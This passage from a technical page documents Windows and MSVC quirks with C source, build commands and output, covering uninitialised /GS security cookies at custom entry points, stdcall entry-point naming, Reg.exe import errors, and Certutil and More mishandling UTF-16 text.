  8. TLS callback functions are called before the normal (default) entry points, conventionally named mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup and _DllMainCRTStartup!
The MSDN magazine articles Protecting Your Code with Visual C++ Defenses and Visual C++ Support for Stack-Based Buffer Protection provide additional information.

Demonstration

Perform the following 6 simple steps to show the (mis)behaviour.
  1. Create the text file quirk24.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define _CRT_SECURE_NO_WARNINGS
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef _WIN64
    #ifdef ZERO
    DWORD_PTR	__security_cookie = 0;
    #else
    DWORD_PTR	__security_cookie = 0xBB40E64E;
    #endif		               // = 3141592654 = 10**9 * pi
    
    extern	LPVOID	__safe_se_handler_table[];
    extern	BYTE	__safe_se_handler_count;
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY32	_load_config_used = {sizeof(_load_config_used),
    					                     'NULL',	// = 2011-08-24 19:09:00 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0, 0, 0, 0, 0, 0, 0, 0,
    					                     HEAP_GENERATE_EXCEPTIONS,
    					                     0, 0, 0, 0,
    					                     &__security_cookie,
    					                     __safe_se_handler_table,
    					                     &__safe_se_handler_count};
    #else // _WIN64
    #ifdef ZERO
    DWORD_PTR	__security_cookie = 0;
    #else
    DWORD_PTR	__security_cookie = 0x00002B992DDFA232;
    		               // = 3141592653589793241 >> 16
    #endif		               // = 10**18 / 2**16 * pi
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY64	_load_config_used = {sizeof(_load_config_used),
    					                     'NULL',	// = 2011-08-24 19:09:00 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0, 0, 0, 0, 0, 0, 0, 0, 0,
    					                     HEAP_GENERATE_EXCEPTIONS,
    					                     0, 0, 0,
    					                     &__security_cookie,
    					                     0,
    					                     0};
    #endif // _WIN64
    
    #ifdef _DLL
    __declspec(dllexport)
    __declspec(safebuffers)
    BOOL	WINAPI	ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return FALSE;
    #ifndef _WIN64
    	if (gsCookie == 0xBB40E64E)
    #else
    	if (gsCookie == 0x00002B992DDFA232)
    #endif
    		dwOutput = wsprintf(szOutput,
    		                    L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
    		                    lpFunction);
    	else if (gsCookie == 0)
    		dwOutput = wsprintf(szOutput,
    		                    L"%ls entry point: /GS security cookie is 0!\a\n",
    		                    lpFunction);
    	else
    		dwOutput = wsprintf(szOutput,
    		                    L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
    		                    lpFunction, gsCookie);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(dllexport)
    __declspec(safebuffers)
    BOOL	WINAPI	WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	UINT	uiType = MB_ICONERROR | MB_OK;
    #ifndef _WIN64
    	if (gsCookie == 3141592654)
    #else
    	if (gsCookie == 3141592653589793241 >> 16)
    #endif
    		wcscpy(szOutput, L"/GS security cookie is NOT initialised!\n");
    	else if (gsCookie == 0)
    		wcscpy(szOutput, L"/GS security cookie is 0!\n");
    	else
    	{
    		dwOutput = wsprintf(szOutput,
    		                    L"/GS security cookie is initialised with 0x%p\n",
    		                    gsCookie);
    		szOutput[dwOutput] = L'\0';
    		uiType = MB_ICONINFORMATION | MB_OK;
    	}
    
    	return MessageBoxEx(HWND_DESKTOP, szOutput, lpFunction, uiType,
    	                    MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
    }
    
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	if (GetConsoleWindow() != NULL)
    		ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    	else
    		WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	return TRUE;
    }
    #else // _DLL
    #ifdef CONSOLE
    __declspec(dllimport)
    BOOL	WINAPI	ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	ExitProcess(GetLastError());
    }
    #else // CONSOLE
    __declspec(dllimport)
    BOOL	WINAPI	WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
    
    __declspec(noreturn)
    VOID	CDECL	wWinMainCRTStartup(VOID)
    {
    	WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	ExitProcess(GetLastError());
    }
    #endif // CONSOLE
    #endif // _DLL
  2. Build the DLL quirk24.dll and its import library quirk24.lib from the source file quirk24.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /MACHINE:I386
    CL.EXE /LD /MD quirk24.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk24.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    quirk24.c(116) : warning C4100: 'lpReserved' : unreferenced formal parameter
    quirk24.c(116) : warning C4100: 'hModule' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /MACHINE:I386
    /out:quirk24.dll
    /dll
    /implib:quirk24.lib
    quirk24.obj
       Creating library quirk24.lib and object quirk24.exp
  3. Build the console application quirk24.com from the source file quirk24.c created in step 1. with the preprocessor macro CONSOLE defined, using the import library quirk24.lib generated in step 2.:

    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk24.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    CL.EXE /DCONSOLE /Fequirk24.com quirk24.c
    Note: quirk24.com is a pure Win32 console application and builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk24.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    /out:quirk24.com
    quirk24.obj
  4. Build the application quirk24.exe from the source file quirk24.c created in step 1. with the preprocessor macro ZERO defined:

    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk24.lib /ENTRY:wWinMainCRTStartup /MACHINE:I386 /SUBSYSTEM:WINDOWS
    CL.EXE /DZERO quirk24.c

    Note: quirk24.exe is a pure Win32 application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk24.lib /ENTRY:wWinMainCRTStartup /MACHINE:I386 /SUBSYSTEM:WINDOWS
    /out:quirk24.exe
    quirk24.obj
  5. ...

    .\quirk24.com
    .\quirk24.exe
    CONTROL.EXE "%CD%\quirk24.dll"
    __DllMainCRTStartup@12 entry point: /GS security cookie initialised as 0xC97D2381
    _wmainCRTStartup@0 entry point: /GS security cookie initialised as 0xAB5E5CC5
  6. Repeat the previous four steps 2. to 5. to build quirk24.dll, quirk24.com and quirk24.exe for the x64 alias AMD64 processor architecture and execute them:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /MACHINE:AMD64
    CL.EXE /LD /MD quirk24.c
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk24.lib /ENTRY:wmainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:CONSOLE
    CL.EXE /DCONSOLE /Fequirk24.com quirk24.c
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk24.lib /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:WINDOWS
    CL.EXE /DZERO quirk24.c
    .\quirk24.com
    .\quirk24.exe
    CONTROL.EXE "%CD%\quirk24.dll"
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    quirk24.c(116) : warning C4100: 'lpReserved' : unreferenced formal parameter
    quirk24.c(116) : warning C4100: 'hModule' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /MACHINE:AMD64
    /out:quirk24.dll
    /dll
    /implib:quirk24.lib
    quirk24.obj
       Creating library quirk24.lib and object quirk24.exp
    
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk24.lib /ENTRY:wmainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:CONSOLE
    /out:quirk24.com
    quirk24.obj
    
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /DEFAULTLIB:quirk24.lib /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:WINDOWS
    /out:quirk24.exe
    quirk24.obj
    
    _DllMainCRTStartup entry point: /GS security cookie NOT initialised!
    wmainCRTStartup entry point: /GS security cookie NOT initialised!
    Oops: ...
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 25

The MSDN article /ENTRY (Entry-Point Symbol) specifies:
The /ENTRY option specifies an entry point function as the starting address for an .exe file or DLL.

The function must be defined to use the __stdcall calling convention. The parameters and return value depend on if the program is a console application, a windows application or a DLL. It is recommended that you let the linker set the entry point so that the C run-time library is initialized correctly, and C++ constructors for static objects are executed.

By default, the starting address is a function name from the C run-time library. The linker selects it according to the attributes of the program, as shown in the following table.

Function name Default for
mainCRTStartup
(or wmainCRTStartup)
An application that uses /SUBSYSTEM:CONSOLE; calls main (or wmain)
WinMainCRTStartup
(or wWinMainCRTStartup)
An application that uses /SUBSYSTEM:WINDOWS; calls WinMain (or wWinMain), which must be defined to use __stdcall
_DllMainCRTStartup A DLL; calls DllMain if it exists, which must be defined to use __stdcall
If the /DLL or /SUBSYSTEM option is not specified, the linker selects a subsystem and entry point depending on whether main or WinMain is defined.

The functions main, WinMain, and DllMain are the three forms of the user-defined entry point.

Note: the main() function always uses the __cdecl calling and naming convention!

The MSDN article Format of a C Decorated Name specifies:

The form of decoration for a C function depends on the calling convention used in its declaration, as shown below. Note that in a 64-bit environment, functions are not decorated.
Calling convention Decoration
__cdecl (the default) Leading underscore (_)
__stdcall Leading underscore (_) and a trailing at sign (@) followed by a number representing the number of bytes in the parameter list
The MSDN articles __cdecl and __stdcall provide more details.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk25.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef QUIRKS
    #define NULL	(void *) 0
    
    extern	int	main(int argc, char *argv[], char *envp[]);
    
    int	QUIRKS	mainCRTStartup(void)
    {
    	static	char	*argv[] = {"Quirk25", __FUNCDNAME__, NULL};
    	static	char	*envp[] = {NULL};
    
    	return main(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
    }
    #else
    int	main(int argc, char *argv[], char *envp[])
    {
    	return argc;
    }
    #endif // QUIRKS
  2. Compile the source file quirk25.c created in step 1., first with the preprocessor macro QUIRKS defined as __stdcall to generate the object file quirk25.obj for the mainCRTStartup() function and put it in the object library quirk25.lib, then again to generate the object file quirk25.obj for the main() function and link it against the library quirk25.lib to build the console application quirk25.exe:

    SET CL=/GAFy /Oisy /W4 /X /Zl
    SET LINK=/MACHINE:I386
    CL.EXE /c /DQUIRKS=__stdcall quirk25.c
    LINK.EXE /LIB quirk25.obj
    CL.EXE /c quirk25.c
    LINK.EXE /LINK quirk25.obj quirk25.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk25.exe is a pure Win32 console application and builds without the MSVCRT libraries – eventually.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk25.c
    
    Microsoft (R) Library Manager Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk25.c
    quirk25.c(16) : warning C4100: 'envp' : unreferenced formal parameter
    quirk25.c(16) : warning C4100: 'argv' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    LINK : error LNK2001: unresolved external symbol _mainCRTStartup
    quirk25.exe : fatal error LNK1120: 1 unresolved externals
    Ouch: functions defined to use the __stdcall calling convention get their name decorated with an at sign and the total size of their arguments; Link.exe but references the name decorated per __cdecl calling convention!
  3. Link the console application quirk25.exe using the decorated name of the mainCRTStartup() function and execute it:

    LINK.EXE /LINK /ENTRY:mainCRTStartup@0 quirk25.obj quirk25.lib
    .\quirk25.exe
    ECHO %ERRORLEVEL%
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    2
Note: the repetition of step 2. with the preprocessor macro QUIRKS defined as empty or __cdecl is left as an exercise to the reader.

Quirk № 26

The MSKB article 310516 specifies the format and syntax of registry editor script files, but is awfully bad!

Demonstration

Perform the following 5 (plus 1) simple steps to show the (mis)behaviour.
  1. Create the text file quirk26.reg with the following content in an arbitrary, preferable empty directory:

    REGEDIT4
    
    [HKEY_CURRENT_USER\Quirk26]
    ""="quirk26"
    "none"=hex(0):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
    "binary"=hex(3):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
    "dword"=dword:-1
    "dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef
    "dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef
    "qword"=qword:0123456789abcdef
    "link"=hex(6):
    "expand"=expand:"%windir%"
    "multi"=multi:"first","last"
    "string"="left\right"
    ''="''"
    @='@'
  2. Import the registry entries from the script file quirk26.reg into the Registry:

    REG.EXE IMPORT quirk26.reg
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
  3. Query the imported registry entries:

    REG.EXE QUERY HKEY_CURRENT_USER\Quirk26
    ECHO %ERRORLEVEL%
    HKEY_CURRENT_USER\Quirk26
        (Default)    REG_SZ    quirk26
        none    REG_NONE    000102030405060708090A0B0C0D0E0F
        dword_little_endian    REG_DWORD    0x67452301
        dword_big_endian    REG_DWORD_BIG_ENDIAN    0x67452301
        link    REG_LINK    
    
    0
    OUCH¹: despite the multiple syntax errors in the script file quirk26.reg, Reg.exe yields an explicit success message!

    OUCH²: Reg.exe fails to distinguish big endian from little endian in its output!

    OOPS: an empty string can be used as registry value name instead of the @ to specify the (unnamed) default entry of a registry key.

  4. Export the just imported registry entries from the registry key HKEY_CURRENT_USER\Quirk26 to the file quirk26.txt:

    REG.EXE EXPORT HKEY_CURRENT_USER\Quirk26 quirk26.txt
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
  5. Display the exported registry key and its entries:

    TYPE quirk26.txt
    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Quirk26]
    @="quirk26"
    "none"=hex(0):00,01,02,03,04,05,06,07,08,09,0a,0b,0c,0d,0e,0f
    "dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef
    "dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef
    "link"=hex(6):
    Note: indicated by the tag line Windows Registry Editor Version 5.00, Reg.exe exports in UTF-16LE encoding.
  6. Delete the registry key HKEY_CURRENT_USER\Quirk26 with all its entries:

    REG.EXE DELETE HKEY_CURRENT_USER\Quirk26 /F
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
Note: the repetition of steps 2., 4. and 6. using RegEdit.exe instead of Reg.exe is left as an exercise to the reader.

Quirk № 27

The documentation for the Certutil command states:
The following table describes the verbs that can be used with the certutil command.
Verbs Description
-dump Dump configuration information or files
[…]

Demonstration

Perform the following 6 simple steps to show the (mis)behaviour.
  1. Create the UTF-16LE encoded text file quirk27.txt containing the Greek alphabet in capital and small letters in an arbitrary, preferable empty directory:

    ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
    Note: the file quirk27.txt contains 51 Unicode characters in 102 bytes: a leading Byte Order Mark U+FEFF, a line of 48 letters from U+0391 to U+03C9 (not contiguous), followed by a trailing CR/LF pair.
  2. Display the file quirk27.txt using the builtin Type command:

    TYPE quirk27.txt
    ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
  3. Run the following command line to dump the file quirk27.txt created in step 1. using the Certutil.exe utility:

    CERTUTIL.EXE /DUMP quirk27.txt
      0000  ...
      0032
        0000  3f 3f 47 3f 3f 3f 3f 54  3f 3f 3f 3f 3f 3f 3f 3f   ??G????T????????
        0010  3f 53 3f 3f 46 3f 3f 4f  61 df 3f 64 65 3f 3f 3f   ?S??F??Oa.?de???
        0020  3f 3f 3f b5 3f 3f 3f 70  3f 73 74 3f 66 3f 3f 3f   ???.???p?st?f???
        0030  0d 0a                                              ..
    CertUtil: -dump command completed successfully.
    OUCH: Certutil.exe converts files from UTF-16LE to ANSI before it dumps their (destroyed) content – a completely braindead approach – and even dares to call this epic failure successful!
  4. Run the following command line to dump the executable file of the Command Processor, specified by its absolute, fully qualified path name provided in the environment variable COMSPEC:

    CERTUTIL.EXE /DUMP "%COMSPEC%"
    C:\Windows\system32\cmd.exe: Lang 04b00409 (1200.1033)  File 6.1:7601.23403  Product 6.1:7601.23403
    CertUtil: -dump command completed successfully.
    OOPS: instead of the expected (hexadecimal) dump, Certutil.exe displays some parts of the VERSIONINFO resource embedded in the Portable Executable file Cmd.exe.
  5. Run the following command lines to dump some other executable files which are located in the system directory %SystemRoot%\System32\, specified by their name and extension:

    CERTUTIL.EXE /DUMP main.cpl
    CERTUTIL.EXE /DUMP slmgr.vbs
    SET PATHEXT
    main.cpl: Lang 04b00409 (1200.1033)  File 6.1:7601.17514  Product 6.1:7601.17514
    CertUtil: -dump command completed successfully.
    
    CertUtil: -dump command FAILED: 0x80070002 (WIN32: 2 ERROR_FILE_NOT_FOUND)
    CertUtil: The system cannot find the file specified.
    
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    OOPS: Certutil.exe searches the PATH, but does not evaluate the environment variable PATHEXT!
  6. Finally run the following command line to dump another executable file which is located in the system directory, specified by just its name without extension:

    CERTUTIL.EXE /DUMP ntdll
    ntdll: Lang 04b00409 (1200.1033)  File 6.1:7601.24545  Product 6.1:7601.24545
    CertUtil: -dump command completed successfully.
    OOPS: when no extension is specified, Certutil.exe searches the PATH for DLLs!

Quirk № 28

The documentation for the More command tells:
Displays one screen of output at a time.

[…]

<Command> | more [/c] [/p] [/s] [/t<N>] [+<N>]
more [[/c] [/p] [/s] [/t<N>] [+<N>]] < [<Drive>:][<Path>]<FileName>
more [/c] [/p] [/s] [/t<N>] [+<N>] [<Files>]

Demonstration

Perform the following 4 simple steps to show the (mis)behaviour.
  1. Create the UTF-16LE encoded text file quirk28.txt containing the Cyrillic alphabet in capital and small letters in an arbitrary, preferable empty directory:

    ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
    ёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя
    Note: the file quirk28.txt contains 99 Unicode characters in 198 bytes: a leading Byte Order Mark U+FEFF, a first line of 47 capital letters from U+0401 to U+042F, followed by an intermediate CR/LF pair, a second line of 47 small letters from U+0451 to U+045F and U+0430 to U+044F, followed by a trailing CR/LF pair.
  2. Display the file quirk28.txt using the builtin Type command:

    TYPE quirk28.txt
    ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
    ёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя
  3. Display the file quirk28.txt using the More utility:

    MORE.COM quirk28.txt
    ???????????????????????????????????????????????
    ???????????????????????????????????????????????
    OUCH: More.com converts files from UTF-16LE to ANSI before it displays their (destroyed) content – a completely braindead approach!
  4. Display the file quirk28.txt a second time:

    TYPE quirk28.txt | MORE.COM
    ????????????????????????????????????????????????
    ????????????????????????????????????????????????

Quirk № 29

The MSDN article Using Unicode Normalization to Represent Strings states in section Use the Four Defined Normalization Forms:
The Unicode Consortium has defined four normalization forms: NFC (form C), NFD (form D), NFKC (form KC), and NFKD (form KD). Each form eliminates some differences but preserves case. Win32 and the .NET Framework support all four normalization forms.

[…]

Of the two canonical forms, form C is a "composed" form and form D is a "decomposed" form. For example, form C uses the single Unicode code point "Ä" (U+00C4), while form D uses ("A" + "¨", that is U+0041 U+0308). These render identically, because "¨" (U+0308) is a combining character. Form D can use any number of code points to represent a single code point used by form C.

If two strings are identical in either form C or form D, they are identical in the other form. Furthermore, when correctly rendered, they display indistinguishably from one another and from the original non-normalized string.

Demonstration

Perform the following 7 simple steps to show the (mis)behaviour.
  1. Create the UTF-16LE NFC encoded text file quirk29c.txt containing the extended characters of Code Page 1252 in an arbitrary, preferable empty directory:

    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
    Note: with the leading Byte Order Mark U+FEFF and the trailing CR/LF pair the file quirk29c.txt contains 126 Unicode characters in 252 bytes.
  2. Display the file quirk29c.txt using the builtin Type command:

    TYPE quirk29c.txt
    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
  3. Create the UTF-16LE NFD encoded text file quirk29d.txt containing the extended characters of Code Page 1252 in the same directory:

    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
    Note: with the leading Byte Order Mark U+FEFF and the trailing CR/LF the file quirk29d.txt contains 184 Unicode characters in 368 bytes.
  4. Display the file quirk29d.txt using the builtin Type command:

    TYPE quirk29d.txt
    €‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□×ØU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□
    OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
  5. Create the text file quirk29.c with the following content:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define CP1252	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n"
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	UINT	uiANSI;
    	CHAR	szANSI[333];
    	WCHAR	szWide[222];
    	INT	niWide;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwConsole;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!IsNormalizedString(NormalizationC,
    		                        CP1252, sizeof(CP1252) / sizeof(*CP1252)))
    			PrintConsole(hConsole,
    			             L"IsNormalizedString() returned error %lu\n",
    			             dwError = GetLastError());
    
    		if (!WriteConsole(hConsole, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1, &dwConsole, NULL))
    			PrintConsole(hConsole,
    			             L"WriteConsole() returned error %lu\n",
    			             dwError = GetLastError());
